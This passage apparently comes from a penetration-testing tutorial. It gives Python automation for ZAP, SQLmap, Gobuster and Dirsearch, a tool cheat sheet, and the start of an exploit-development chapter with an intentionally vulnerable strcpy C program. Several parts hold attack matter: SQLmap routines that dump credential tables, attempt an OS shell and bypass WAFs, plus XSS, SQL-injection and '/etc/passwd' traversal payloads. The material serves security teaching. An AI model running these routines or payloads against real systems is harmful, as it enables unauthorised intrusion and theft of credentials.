risk = alert.get('risk', 'Informational')
if risk in summary:
summary[risk] += 1
return summary
def run_full_scan(self, target_url):
"""Run complete ZAP scan workflow"""
print("=" * 60)
print("OWASP ZAP AUTOMATED SCAN")
print("=" * 60)
# Configure
self.zap.configure_scope(target_url)
self.zap.set_session(f"scan_{int(time.time())}")
# Spider scan
spider_urls = self.spider_scan(target_url)
# Wait for passive scan
self.passive_scan_wait()
# AJAX spider for dynamic content
ajax_urls = self.ajax_spider(target_url)
# Active scan
alerts = self.active_scan(target_url)
# Generate report
self.generate_report()
# Print summary
summary = self.get_alerts_summary()
print("\n[+] Scan Complete - Alert Summary:")
print(f" High: {summary['High']}")
print(f" Medium: {summary['Medium']}")
print(f" Low: {summary['Low']}")
print(f" Informational: {summary['Informational']}")
return summary
# Example usage
config = ZAPConfigurator()
# Start ZAP
if config.start_zap():
try:
# Run automated scan
zap = ZAPAutomation(config)
results = zap.run_full_scan('https://example.com')
finally:
# Stop ZAP
config.stop_zap()#!/usr/bin/env python3
# zap_scripts.py
class ZAPScripting:
def __init__(self, zap_url):
self.zap_url = zap_url
def create_authentication_script(self):
"""Create authentication script for logged-in scanning"""
script = """
// Authentication script for ZAP
// Save as: authenticate.js
var AuthenticationHelper = Java.type('org.zaproxy.zap.authentication.AuthenticationHelper');
var ScriptVars = Java.type('org.zaproxy.zap.script.ScriptVars');
function authenticate(helper, paramsValues, credentials) {
print("Authenticating...");
var username = credentials.getParam('username');
var password = credentials.getParam('password');
// Prepare login request
var requestBody = 'username=' + encodeURIComponent(username) +
'&password=' + encodeURIComponent(password);
var msg = helper.prepareMessage();
msg.setRequestHeader(
'POST /login HTTP/1.1\\r\\n' +
'Host: example.com\\r\\n' +
'Content-Type: application/x-www-form-urlencoded\\r\\n' +
'Content-Length: ' + requestBody.length + '\\r\\n'
);
msg.setRequestBody(requestBody);
// Send request
helper.sendAndReceive(msg);
// Check if login successful
if (msg.getResponseHeader().getStatusCode() == 302) {
print("Authentication successful!");
return msg;
}
print("Authentication failed");
return null;
}
function getRequiredParamsNames() {
return ["Username Parameter", "Password Parameter"];
}
function getOptionalParamsNames() {
return [];
}
function getCredentialsParamsNames() {
return ["username", "password"];
}
"""
# Save script
with open('zap_auth_script.js', 'w') as f:
f.write(script)
print("[+] Authentication script created: zap_auth_script.js")
def create_passive_scan_script(self):
"""Create custom passive scan rule"""
script = """
// Custom passive scan rule
// Save as: custom_passive.js
var PluginPassiveScanner = Java.type('org.zaproxy.zap.extension.pscan.PluginPassiveScanner');
function scan(helper, msg, uri) {
var CUSTOM_HEADER = 'X-Custom-Header';
// Get response headers
var headers = msg.getResponseHeader();
// Check for missing security headers
var securityHeaders = [
'X-Frame-Options',
'X-Content-Type-Options',
'Content-Security-Policy',
'Strict-Transport-Security'
];
for (var i = 0; i < securityHeaders.length; i++) {
var header = securityHeaders[i];
if (headers.getHeader(header) == null) {
helper.newAlert()
.setRisk(1) // Low
.setConfidence(2) // Medium
.setTitle('Missing ' + header + ' Header')
.setDescription('The ' + header + ' header is not set')
.setSolution('Set the ' + header + ' header appropriately')
.setReference('https://owasp.org/...')
.raise();
}
}
// Check for sensitive information in response
var patterns = [
'password', 'credit card', 'ssn', 'secret'
];
var body = new String(msg.getResponseBody().getBytes());
for (var i = 0; i < patterns.length; i++) {
if (body.toLowerCase().indexOf(patterns[i]) >= 0) {
helper.newAlert()
.setRisk(2) // Medium
.setConfidence(2)
.setTitle('Sensitive Information Disclosure')
.setDescription('Found "' + patterns[i] + '" in response')
.raise();
break;
}
}
}
"""
with open('zap_passive_script.js', 'w') as f:
f.write(script)
print("[+] Passive scan script created: zap_passive_script.js")
def create_active_scan_script(self):
"""Create custom active scan rule"""
script = """
// Custom active scan rule
// Save as: custom_active.js
var ActivePlugin = Java.type('org.zaproxy.zap.extension.ascan.ActivePlugin');
function scan(helper, msg, uri) {
var testParam = 'test';
var testPayloads = [
'<script>alert(1)</script>',
"' OR '1'='1",
'../../../etc/passwd'
];
for (var i = 0; i < testPayloads.length; i++) {
var payload = testPayloads[i];
// Create new message with payload
var testMsg = helper.prepareMessage();
var requestUri = uri + '?' + testParam + '=' + encodeURIComponent(payload);
testMsg.setRequestHeader('GET ' + requestUri + ' HTTP/1.1\\r\\nHost: ' + uri.getHost());
// Send request
helper.sendAndReceive(testMsg);
// Check response
var responseBody = new String(testMsg.getResponseBody().getBytes());
if (responseBody.indexOf(payload) >= 0) {
helper.newAlert()
.setRisk(2) // Medium
.setConfidence(2)
.setTitle('Reflected XSS')
.setParam(testParam)
.setAttack(payload)
.setEvidence(payload)
.setDescription('The parameter may be vulnerable to XSS')
.setSolution('Implement proper output encoding')
.raise();
}
}
}
function getDependency() {
return null;
}
"""
with open('zap_active_script.js', 'w') as f:
f.write(script)
print("[+] Active scan script created: zap_active_script.js")
# Example usage
zap_scripts = ZAPScripting('http://localhost:8080')
zap_scripts.create_authentication_script()
zap_scripts.create_passive_scan_script()
zap_scripts.create_active_scan_script()SQLmap is the most powerful and widely used tool for automating SQL injection detection and exploitation.
#!/usr/bin/env python3
# sqlmap_automation.py
import subprocess
import json
import os
import re
class SQLmapAutomation:
def __init__(self, target_url):
self.target_url = target_url
self.results = {}
def basic_scan(self, param=None, method='GET'):
"""Run basic SQLmap scan"""
cmd = ['sqlmap', '-u', self.target_url, '--batch', '--output-dir=./sqlmap_results']
if param:
cmd.extend(['-p', param])
if method.upper() == 'POST':
cmd.append('--method=POST')
print(f"[*] Running basic SQLmap scan on {self.target_url}")
result = subprocess.run(cmd, capture_output=True, text=True)
self.results['basic_scan'] = {
'command': ' '.join(cmd),
'output': result.stdout,
'vulnerable': 'vulnerable' in result.stdout.lower()
}
return self.results['basic_scan']
def advanced_scan(self, options):
"""Run advanced SQLmap scan with custom options"""
cmd = ['sqlmap', '-u', self.target_url, '--batch', '--output-dir=./sqlmap_results']
# Add advanced options
advanced_options = {
'level': '--level',
'risk': '--risk',
'dbms': '--dbms',
'technique': '--technique',
'threads': '--threads',
'cookie': '--cookie',
'data': '--data',
'headers': '--headers'
}
for opt, value in options.items():
if opt in advanced_options:
cmd.extend([advanced_options[opt], str(value)])
# Add enumeration flags
if options.get('enumerate'):
if 'dbs' in options['enumerate']:
cmd.append('--dbs')
if 'tables' in options['enumerate']:
cmd.append('--tables')
if 'columns' in options['enumerate']:
cmd.append('--columns')
if 'dump' in options['enumerate']:
cmd.append('--dump')
print(f"[*] Running advanced SQLmap scan")
print(f" Command: {' '.join(cmd)}")
result = subprocess.run(cmd, capture_output=True, text=True)
return {
'command': ' '.join(cmd),
'output': result.stdout,
'success': result.returncode == 0
}
def enumerate_databases(self):
"""Enumerate databases"""
cmd = [
'sqlmap', '-u', self.target_url,
'--dbs', '--batch', '--output-dir=./sqlmap_results'
]
result = subprocess.run(cmd, capture_output=True, text=True)
# Parse databases from output
databases = []
in_databases = False
for line in result.stdout.split('\n'):
if 'available databases' in line:
in_databases = True
continue
if in_databases and line.strip() and '[*]' in line:
db = line.split('[*]')[-1].strip()
if db:
databases.append(db)
return databases
def enumerate_tables(self, database):
"""Enumerate tables in database"""
cmd = [
'sqlmap', '-u', self.target_url,
'-D', database, '--tables', '--batch',
'--output-dir=./sqlmap_results'
]
result = subprocess.run(cmd, capture_output=True, text=True)
# Parse tables from output
tables = []
in_tables = False
for line in result.stdout.split('\n'):
if f'Database: {database}' in line:
in_tables = True
continue
if in_tables and line.strip() and '|' in line:
parts = line.split('|')
if len(parts) >= 2:
table = parts[1].strip()
if table and table != 'Table':
tables.append(table)
return tables
def dump_table(self, database, table, columns=None):
"""Dump table contents"""
cmd = [
'sqlmap', '-u', self.target_url,
'-D', database, '-T', table, '--dump', '--batch',
'--output-dir=./sqlmap_results'
]
if columns:
cmd.extend(['-C', ','.join(columns)])
result = subprocess.run(cmd, capture_output=True, text=True)
# Parse dumped data
dump_file = None
for line in result.stdout.split('\n'):
if 'saved to' in line and 'dump' in line:
dump_file = line.split('saved to')[-1].strip()
break
if dump_file and os.path.exists(dump_file):
with open(dump_file, 'r') as f:
data = f.read()
return data
else:
return result.stdout
def os_shell(self):
"""Attempt OS shell"""
cmd = [
'sqlmap', '-u', self.target_url,
'--os-shell', '--batch', '--output-dir=./sqlmap_results'
]
print("[*] Attempting to get OS shell...")
print("[!] This is an interactive process")
# This will be interactive - user needs to respond
subprocess.run(cmd)
def bypass_waf(self):
"""Run SQLmap with WAF bypass techniques"""
cmd = [
'sqlmap', '-u', self.target_url,
'--random-agent', '--tamper=space2comment,between,randomcase',
'--level=3', '--risk=2', '--batch',
'--output-dir=./sqlmap_results'
]
result = subprocess.run(cmd, capture_output=True, text=True)
return {
'command': ' '.join(cmd),
'vulnerable': 'vulnerable' in result.stdout.lower()
}
def generate_report(self, format='html'):
"""Generate SQLmap report"""
cmd = [
'sqlmap', '-u', self.target_url,
'--batch', '--output-dir=./sqlmap_results'
]
if format == 'html':
cmd.append('--html-report')
elif format == 'json':
cmd.append('--json-report')
result = subprocess.run(cmd, capture_output=True, text=True)
return result.stdout
def run_complete_assessment(self):
"""Run complete SQLmap assessment"""
print("=" * 60)
print("SQLMAP COMPLETE ASSESSMENT")
print("=" * 60)
# Basic scan
print("\n[*] Phase 1: Basic Vulnerability Scan")
basic = self.basic_scan()
if not basic['vulnerable']:
print("[-] No SQL injection detected with basic scan")
print("[*] Attempting advanced scan with WAF bypass...")
advanced = self.bypass_waf()
if not advanced['vulnerable']:
print("[-] Still no vulnerability detected. Exiting.")
return
print("[+] SQL injection confirmed!")
# Database enumeration
print("\n[*] Phase 2: Database Enumeration")
databases = self.enumerate_databases()
print(f"[+] Found databases: {databases}")
# Table enumeration
print("\n[*] Phase 3: Table Enumeration")
for db in databases[:3]: # Limit to first 3 databases
print(f"\n[*] Enumerating tables in {db}")
tables = self.enumerate_tables(db)
print(f" Found tables: {tables}")
# Look for interesting tables
interesting_tables = ['users', 'admin', 'credentials', 'passwords']
for table in tables:
if any(interest in table.lower() for interest in interesting_tables):
print(f"\n[!] Found interesting table: {table}")
print(f"[*] Dumping {table}...")
data = self.dump_table(db, table)
print(data[:500]) # Print first 500 chars
print("\n[+] Assessment complete!")
print("[*] Check sqlmap_results/ directory for detailed output")
# Example usage
sqlmap = SQLmapAutomation('https://example.com/page.php?id=1')
# Run basic scan
basic_results = sqlmap.basic_scan(param='id')
print(json.dumps(basic_results, indent=2))
# If vulnerable, enumerate
if basic_results['vulnerable']:
databases = sqlmap.enumerate_databases()
print(f"Databases: {databases}")
if databases:
tables = sqlmap.enumerate_tables(databases[0])
print(f"Tables in {databases[0]}: {tables}")
# Run complete assessment
sqlmap.run_complete_assessment()Gobuster is a fast directory/file and DNS busting tool written in Go.
#!/usr/bin/env python3
# gobuster_automation.py
import subprocess
import json
import os
import threading
from concurrent.futures import ThreadPoolExecutor
class GobusterAutomation:
def __init__(self, target_url):
self.target_url = target_url.rstrip('/')
self.results = {}
def dir_scan(self, wordlist='/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt',
extensions=None, threads=50):
"""Perform directory/file enumeration"""
cmd = [
'gobuster', 'dir',
'-u', self.target_url,
'-w', wordlist,
'-t', str(threads),
'-o', f'gobuster_dir_{int(threading.get_ident())}.txt'
]
if extensions:
cmd.extend(['-x', ','.join(extensions)])
# Add common options
cmd.extend(['-q', '--no-error', '-k']) # Quiet, no TLS verification
print(f"[*] Starting directory scan on {self.target_url}")
print(f" Wordlist: {wordlist}")
if extensions:
print(f" Extensions: {extensions}")
result = subprocess.run(cmd, capture_output=True, text=True)
# Parse results
found_dirs = []
for line in result.stdout.split('\n'):
if line.strip() and 'Status:' in line:
parts = line.split()
if len(parts) >= 4:
status = parts[-2]
url = parts[-1]
found_dirs.append({
'url': url,
'status': status
})
self.results['directories'] = found_dirs
return found_dirs
def dns_scan(self, domain, wordlist='/usr/share/wordlists/dns/subdomains.txt', threads=50):
"""Perform DNS subdomain enumeration"""
cmd = [
'gobuster', 'dns',
'-d', domain,
'-w', wordlist,
'-t', str(threads),
'-o', f'gobuster_dns_{int(threading.get_ident())}.txt'
]
print(f"[*] Starting DNS scan on {domain}")
result = subprocess.run(cmd, capture_output=True, text=True)
# Parse results
subdomains = []
for line in result.stdout.split('\n'):
if 'Found:' in line:
parts = line.split()
if len(parts) >= 2:
subdomain = parts[1]
subdomains.append(subdomain)
self.results['subdomains'] = subdomains
return subdomains
def vhost_scan(self, domain, wordlist='/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt',
threads=50):
"""Perform virtual host enumeration"""
cmd = [
'gobuster', 'vhost',
'-u', self.target_url,
'-w', wordlist,
'-t', str(threads),
'-o', f'gobuster_vhost_{int(threading.get_ident())}.txt'
]
print(f"[*] Starting vhost scan on {self.target_url}")
result = subprocess.run(cmd, capture_output=True, text=True)
# Parse results
vhosts = []
for line in result.stdout.split('\n'):
if 'Found:' in line:
parts = line.split()
if len(parts) >= 2:
vhost = parts[1]
vhosts.append(vhost)
self.results['vhosts'] = vhosts
return vhosts
def s3_scan(self, wordlist='/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt',
threads=50):
"""Scan for S3 buckets"""
cmd = [
'gobuster', 's3',
'-w', wordlist,
'-t', str(threads),
'-o', f'gobuster_s3_{int(threading.get_ident())}.txt'
]
print("[*] Starting S3 bucket scan")
result = subprocess.run(cmd, capture_output=True, text=True)
# Parse results
buckets = []
for line in result.stdout.split('\n'):
if 'Found:' in line:
parts = line.split()
if len(parts) >= 2:
bucket = parts[1]
buckets.append(bucket)
self.results['s3_buckets'] = buckets
return buckets
def fuzz_scan(self, pattern, wordlist='/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt',
threads=50):
"""Perform fuzzing with custom pattern"""
# Replace FUZZ in URL
fuzz_url = self.target_url.replace('FUZZ', '{fuzz}')
cmd = [
'gobuster', 'fuzz',
'-u', fuzz_url,
'-w', wordlist,
'-t', str(threads),
'-o', f'gobuster_fuzz_{int(threading.get_ident())}.txt'
]
print(f"[*] Starting fuzz scan with pattern: {pattern}")
result = subprocess.run(cmd, capture_output=True, text=True)
# Parse results
findings = []
for line in result.stdout.split('\n'):
if 'Result:' in line:
findings.append(line)
self.results['fuzz'] = findings
return findings
def multi_threaded_scan(self, scan_types, wordlists=None):
"""Run multiple scan types in parallel"""
if wordlists is None:
wordlists = {
'dir': '/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt',
'dns': '/usr/share/wordlists/dns/subdomains.txt',
'vhost': '/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt'
}
with ThreadPoolExecutor(max_workers=len(scan_types)) as executor:
futures = []
for scan_type in scan_types:
if scan_type == 'dir':
future = executor.submit(
self.dir_scan,
wordlists.get('dir', wordlists['dir'])
)
elif scan_type == 'dns':
future = executor.submit(
self.dns_scan,
self.target_url.replace('http://', '').replace('https://', '').split('/')[0],
wordlists.get('dns', wordlists['dns'])
)
elif scan_type == 'vhost':
future = executor.submit(
self.vhost_scan,
self.target_url,
wordlists.get('vhost', wordlists['vhost'])
)
else:
continue
futures.append((scan_type, future))
# Collect results
for scan_type, future in futures:
try:
result = future.result()
print(f"[+] {scan_type} scan completed: {len(result)} findings")
except Exception as e:
print(f"[-] {scan_type} scan failed: {e}")
def generate_report(self):
"""Generate scan report"""
report = {
'target': self.target_url,
'findings': self.results,
'summary': {}
}
# Generate summary
for scan_type, findings in self.results.items():
if isinstance(findings, list):
report['summary'][scan_type] = len(findings)
# Categorize by status code for directory scans
if scan_type == 'directories':
status_counts = {}
for finding in findings:
status = finding.get('status')
if status:
status_counts[status] = status_counts.get(status, 0) + 1
report['summary']['status_codes'] = status_counts
return report
def save_results(self, filename):
"""Save results to JSON file"""
report = self.generate_report()
with open(filename, 'w') as f:
json.dump(report, f, indent=2)
print(f"[+] Results saved to {filename}")
# Example usage
gobuster = GobusterAutomation('https://example.com')
# Directory scan with common extensions
print("[*] Running directory scan...")
dirs = gobuster.dir_scan(
extensions=['php', 'html', 'txt', 'bak', 'old'],
threads=100
)
for dir_finding in dirs[:10]: # Show first 10
print(f" {dir_finding['status']}: {dir_finding['url']}")
# DNS scan
domain = 'example.com'
print(f"\n[*] Running DNS scan on {domain}...")
subdomains = gobuster.dns_scan(domain)
for sub in subdomains[:10]:
print(f" Found: {sub}")
# Save results
gobuster.save_results('gobuster_results.json')Dirsearch is a mature command-line tool designed to brute force directories and files in web servers.
#!/usr/bin/env python3
# dirsearch_automation.py
import subprocess
import json
import os
import re
class DirsearchAutomation:
def __init__(self, target_url):
self.target_url = target_url.rstrip('/')
self.results = []
def basic_scan(self, wordlist='/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt',
extensions=None, threads=50):
"""Perform basic dirsearch scan"""
cmd = [
'dirsearch',
'-u', self.target_url,
'-w', wordlist,
'-t', str(threads),
'--format=json',
'-o', f'dirsearch_{int(time.time())}.json'
]
if extensions:
cmd.extend(['-e', ','.join(extensions)])
# Add common options
cmd.extend(['-r', '-R', '2', '--full-url']) # Recursive scan
print(f"[*] Starting dirsearch scan on {self.target_url}")
print(f" Wordlist: {wordlist}")
if extensions:
print(f" Extensions: {extensions}")
result = subprocess.run(cmd, capture_output=True, text=True)
# Parse JSON output
output_file = None
for line in result.stdout.split('\n'):
if 'saved to:' in line:
output_file = line.split('saved to:')[-1].strip()
break
if output_file and os.path.exists(output_file):
with open(output_file, 'r') as f:
data = json.load(f)
self.results = data.get('results', [])
return self.results
def advanced_scan(self, options):
"""Run dirsearch with advanced options"""
cmd = ['dirsearch', '-u', self.target_url]
# Map options to command-line arguments
option_map = {
'wordlist': ['-w', ''],
'extensions': ['-e', ''],
'threads': ['-t', ''],
'timeout': ['--timeout', ''],
'delay': ['--delay', ''],
'max_retries': ['--max-retries', ''],
'recursive': ['-r', None],
'recursive_depth': ['-R', ''],
'exclude_status': ['-x', ''],
'include_status': ['-i', ''],
'user_agent': ['--user-agent', ''],
'cookie': ['--cookie', ''],
'headers': ['--headers', ''],
'proxy': ['--proxy', ''],
'full_url': ['--full-url', None],
'random_agent': ['--random-agent', None]
}
for opt, value in options.items():
if opt in option_map:
arg, arg_value = option_map[opt]
cmd.append(arg)
if arg_value is not None:
cmd.append(str(value))
# Output format
cmd.extend(['--format=json', '-o', f'dirsearch_advanced_{int(time.time())}.json'])
print(f"[*] Running advanced dirsearch scan")
print(f" Command: {' '.join(cmd)}")
result = subprocess.run(cmd, capture_output=True, text=True)
# Parse output file
for line in result.stdout.split('\n'):
if 'saved to:' in line:
output_file = line.split('saved to:')[-1].strip()
if os.path.exists(output_file):
with open(output_file, 'r') as f:
data = json.load(f)
return data.get('results', [])
return []
def recursive_scan(self, initial_findings, depth=3):
"""Recursively scan discovered directories"""
all_findings = initial_findings.copy()
directories_to_scan = []
# Extract directories from initial findings
for finding in initial_findings:
if finding.get('status') in [200, 301, 302, 403]:
url = finding.get('url')
if url.endswith('/'):
directories_to_scan.append(url)
# Scan each directory recursively
for directory in directories_to_scan[:10]: # Limit to first 10
print(f"[*] Recursively scanning: {directory}")
scanner = DirsearchAutomation(directory)
recursive_findings = scanner.basic_scan(
extensions=['php', 'html', 'txt'],
threads=30
)
all_findings.extend(recursive_findings)
return all_findings
def filter_results(self, status_codes=None, content_length=None, pattern=None):
"""Filter scan results"""
filtered = self.results.copy()
if status_codes:
filtered = [f for f in filtered if f.get('status') in status_codes]
if content_length:
filtered = [f for f in filtered if f.get('length', 0) != content_length]
if pattern:
filtered = [f for f in filtered if re.search(pattern, f.get('url', ''), re.I)]
return filtered
def get_interesting_results(self):
"""Get potentially interesting findings"""
interesting = []
for finding in self.results:
url = finding.get('url', '')
status = finding.get('status')
# Check for admin panels
if any(term in url.lower() for term in ['admin', 'login', 'wp-admin', 'dashboard']):
interesting.append({
'type': 'Admin Panel',
'url': url,
'status': status
})
# Check for backup files
if any(url.lower().endswith(ext) for ext in ['.bak', '.old', '.backup', '.swp']):
interesting.append({
'type': 'Backup File',
'url': url,
'status': status
})
# Check for configuration files
if any(term in url.lower() for term in ['config', '.git', '.env', 'wp-config']):
interesting.append({
'type': 'Config File',
'url': url,
'status': status
})
# Check for upload directories
if any(term in url.lower() for term in ['upload', 'uploads', 'files', 'media']):
if status == 200:
interesting.append({
'type': 'Upload Directory',
'url': url,
'status': status
})
return interesting
def generate_report(self):
"""Generate detailed report"""
report = {
'target': self.target_url,
'total_findings': len(self.results),
'status_breakdown': {},
'interesting_findings': self.get_interesting_results(),
'all_findings': self.results
}
# Status code breakdown
for finding in self.results:
status = finding.get('status')
if status:
report['status_breakdown'][status] = report['status_breakdown'].get(status, 0) + 1
# Group by directory
directories = {}
for finding in self.results:
url = finding.get('url', '')
base_dir = '/'.join(url.split('/')[:-1]) + '/'
if base_dir not in directories:
directories[base_dir] = []
directories[base_dir].append(finding)
report['directories'] = directories
return report
# Example usage
import time
dirsearch = DirsearchAutomation('https://example.com')
# Basic scan
print("[*] Running dirsearch scan...")
results = dirsearch.basic_scan(
extensions=['php', 'html', 'txt', 'bak'],
threads=50
)
# Filter interesting results
interesting = dirsearch.get_interesting_results()
print(f"\n[+] Found {len(interesting)} interesting results:")
for item in interesting:
print(f" {item['type']}: {item['url']} ({item['status']})")
# Filter by status code
dir_200 = dirsearch.filter_results(status_codes=[200])
print(f"\n[+] {len(dir_200)} directories with status 200")
# Generate report
report = dirsearch.generate_report()
print(f"\n[+] Status breakdown: {report['status_breakdown']}")
# Save results
with open('dirsearch_report.json', 'w') as f:
json.dump(report, f, indent=2)
print("[+] Report saved to dirsearch_report.json")#!/usr/bin/env python3
# tool_comparison.py
class WebToolComparator:
def __init__(self):
self.tools = {
'gobuster': {
'pros': [
'Very fast (written in Go)',
'Multiple modes (dir, dns, vhost, s3)',
'Low memory footprint',
'Good for large wordlists',
'Active development'
],
'cons': [
'Limited filtering options',
'No recursive scanning by default',
'Basic output formats'
],
'best_for': ['Large-scale scans', 'Performance-critical tasks', 'DNS enumeration']
},
'dirsearch': {
'pros': [
'Advanced recursive scanning',
'Excellent filtering options',
'Multiple output formats (including JSON)',
'Good for targeted scans',
'Extensive configuration options'
],
'cons': [
'Slower than gobuster',
'Higher memory usage',
'Python-based (slower for large wordlists)'
],
'best_for': ['Deep recursive scans', 'Detailed reconnaissance', 'CTF challenges']
},
'ffuf': {
'pros': [
'Extremely fast',
'Advanced filtering capabilities',
'Flexible wordlist handling',
'Great for fuzzing'
],
'cons': [
'Steeper learning curve',
'Less user-friendly',
'Limited built-in wordlists'
],
'best_for': ['Fuzzing', 'Parameter discovery', 'Performance testing']
}
}
def recommend_tool(self, requirements):
"""Recommend best tool based on requirements"""
scores = {tool: 0 for tool in self.tools}
if requirements.get('speed', False):
scores['gobuster'] += 2
scores['ffuf'] += 2
if requirements.get('recursive', False):
scores['dirsearch'] += 2
if requirements.get('dns_enum', False):
scores['gobuster'] += 3
if requirements.get('fuzzing', False):
scores['ffuf'] += 3
if requirements.get('deep_scan', False):
scores['dirsearch'] += 2
scores['ffuf'] += 1
if requirements.get('large_wordlist', False):
scores['gobuster'] += 2
scores['ffuf'] += 2
if requirements.get('easy_use', False):
scores['gobuster'] += 1
scores['dirsearch'] += 1
# Get tool with highest score
recommended = max(scores, key=scores.get)
return {
'recommended': recommended,
'scores': scores,
'details': self.tools[recommended]
}
def generate_cheatsheet(self):
"""Generate usage cheatsheet for each tool"""
cheatsheet = {
'gobuster': {
'dir_scan': 'gobuster dir -u https://example.com -w wordlist.txt -t 50',
'dir_with_ext': 'gobuster dir -u https://example.com -w wordlist.txt -x php,html,txt',
'dns_scan': 'gobuster dns -d example.com -w subdomains.txt',
'vhost_scan': 'gobuster vhost -u https://example.com -w wordlist.txt',
's3_scan': 'gobuster s3 -w wordlist.txt'
},
'dirsearch': {
'basic': 'dirsearch -u https://example.com -w wordlist.txt',
'with_ext': 'dirsearch -u https://example.com -e php,html,txt',
'recursive': 'dirsearch -u https://example.com -r -R 3',
'filter': 'dirsearch -u https://example.com -x 403,404',
'threads': 'dirsearch -u https://example.com -t 100'
},
'ffuf': {
'basic': 'ffuf -u https://example.com/FUZZ -w wordlist.txt',
'with_ext': 'ffuf -u https://example.com/FUZZ -w wordlist.txt -e .php,.html',
'filter_size': 'ffuf -u https://example.com/FUZZ -w wordlist.txt -fs 1234',
'vhost': 'ffuf -u https://example.com -H "Host: FUZZ.example.com" -w wordlist.txt',
'parameters': 'ffuf -u https://example.com/page?FUZZ=test -w parameters.txt'
}
}
return cheatsheet
# Example usage
comparator = WebToolComparator()
# Test scenarios
scenarios = [
{'name': 'Large-scale directory scan', 'requirements': {'speed': True, 'large_wordlist': True}},
{'name': 'Deep recursive scan', 'requirements': {'recursive': True, 'deep_scan': True}},
{'name': 'Parameter fuzzing', 'requirements': {'fuzzing': True, 'speed': True}},
{'name': 'DNS subdomain enumeration', 'requirements': {'dns_enum': True}},
{'name': 'CTF challenge', 'requirements': {'deep_scan': True, 'easy_use': True}}
]
for scenario in scenarios:
print(f"\n[*] Scenario: {scenario['name']}")
recommendation = comparator.recommend_tool(scenario['requirements'])
print(f" Recommended: {recommendation['recommended']}")
print(f" Why: {recommendation['details']['best_for'][0]}")
# Generate cheatsheet
print("\n" + "="*60)
print("TOOL CHEATSHEET")
print("="*60)
cheatsheet = comparator.generate_cheatsheet()
for tool, commands in cheatsheet.items():
print(f"\n[{tool.upper()}]")
for cmd_type, cmd in commands.items():
print(f" {cmd_type}: {cmd}")Exploit development is the art of transforming vulnerabilities into working exploits. This chapter covers the fundamental concepts required to understand, develop, and modify exploits for security testing purposes.
Buffer overflow vulnerabilities occur when a program writes more data to a buffer than it can hold, potentially allowing an attacker to control program execution.
Understanding memory organization is crucial for exploit development:
#!/usr/bin/env python3
# memory_layout.py
class MemoryLayout:
def __init__(self):
self.memory_regions = {
'text': {
'description': 'Code segment - contains executable instructions',
'permissions': 'Read-Only, Execute',
'location': 'Lowest addresses',
'contents': 'Program code'
},
'data': {
'description': 'Initialized global and static variables',
'permissions': 'Read-Write',
'location': 'Above text segment',
'contents': 'Global variables with initial values'
},
'bss': {
'description': 'Uninitialized global and static variables',
'permissions': 'Read-Write',
'location': 'Above data segment',
'contents': 'Global variables initialized to zero'
},
'heap': {
'description': 'Dynamic memory allocation',
'permissions': 'Read-Write',
'location': 'Grows upward',
'contents': 'malloc(), new(), etc.'
},
'stack': {
'description': 'Function call information, local variables',
'permissions': 'Read-Write',
'location': 'Grows downward',
'contents': 'Function parameters, return addresses, local variables'
}
}
def show_stack_frame(self, function_name, local_vars, params):
"""Illustrate stack frame layout"""
print(f"\n[+] Stack Frame for {function_name}()")
print(" Higher Addresses")
print(" +-----------------+")
print(" | Function Params | <- Previous stack")
for param in params:
print(f" | {param} |")
print(" +-----------------+")
print(" | Return Address | <- Where to return after function")
print(" +-----------------+")
print(" | Saved EBP | <- Previous frame pointer")
print(" +-----------------+")
print(" | Local Variables |")
for var in local_vars:
print(f" | {var} |")
print(" +-----------------+")
print(" | ... |")
print(" | Buffer | <- Overflow point")
print(" +-----------------+")
print(" Lower Addresses")
# Example usage
memory = MemoryLayout()
memory.show_stack_frame('vulnerable_function',
['buffer[64]', 'counter'],
['arg1', 'arg2'])x86 Assembly Fundamentals:
#!/usr/bin/env python3
# x86_assembly.py
class x86Assembly:
def __init__(self):
self.registers = {
'EAX': 'Accumulator - used for arithmetic, function returns',
'EBX': 'Base - base pointer for memory operations',
'ECX': 'Counter - loop counter',
'EDX': 'Data - I/O, arithmetic',
'ESI': 'Source Index - source for string operations',
'EDI': 'Destination Index - destination for string operations',
'ESP': 'Stack Pointer - points to top of stack',
'EBP': 'Base Pointer - points to base of current stack frame',
'EIP': 'Instruction Pointer - points to next instruction'
}
self.instructions = {
'mov': 'mov dest, src - copy src to dest',
'push': 'push value - push value onto stack',
'pop': 'pop dest - pop value from stack into dest',
'call': 'call address - call function, push return address',
'ret': 'return from function, pop return address',
'jmp': 'jmp address - unconditional jump',
'je/jne': 'conditional jumps based on flags',
'cmp': 'cmp a,b - compare a and b, set flags',
'add/sub': 'arithmetic operations',
'lea': 'lea dest, src - load effective address',
'nop': 'no operation (often used for padding)'
}
def demonstrate_function_prologue(self):
"""Show function prologue and epilogue"""
print("[+] Function Prologue (function entry):")
print(" push ebp ; Save old base pointer")
print(" mov ebp, esp ; Set new base pointer")
print(" sub esp, X ; Allocate space for local variables")
print("\n[+] Function Body:")
print(" ... ; Actual function code")
print("\n[+] Function Epilogue (function exit):")
print(" mov esp, ebp ; Restore stack pointer")
print(" pop ebp ; Restore base pointer")
print(" ret ; Return to caller")
def demonstrate_stack_operations(self):
"""Show how stack operations work"""
print("[+] Stack Operations Example:")
print("\n Initial stack:")
print(" ESP -> [ ... ]")
print("\n push eax (value 0x1234):")
print(" ESP -> [0x1234]")
print(" [ ... ]")
print("\n push ebx (value 0x5678):")
print(" ESP -> [0x5678]")
print(" [0x1234]")
print(" [ ... ]")
print("\n pop ecx:")
print(" ECX = 0x5678")
print(" ESP -> [0x1234]")
print(" [ ... ]")
# Example usage
asm = x86Assembly()
asm.demonstrate_function_prologue()
asm.demonstrate_stack_operations()Vulnerable C Program:
// vuln.c - Vulnerable program for buffer overflow demonstration
#include <stdio.h>
#include <string.h>
void vulnerable_function(char *user_input) {
char buffer[64]; // Small buffer
strcpy(buffer, user_input); // No bounds checking!
printf("Buffer contents: %s\n", buffer);
}
int main(int argc, char *argv[]) {
if (argc != 2) {
printf("Usage: %s <input>\n", argv[0]);
return 1;
}
printf("Calling vulnerable function...\n");
vulnerable_function(argv[1]);
printf("Returned safely\n");
return 0;
}Python Script for Testing:
#!/usr/bin/env python3
# buffer_overflow_tester.py
import subprocess
import struct
import sys
class BufferOverflowTester:
def __init__(self, binary_path):
self.binary = binary_path
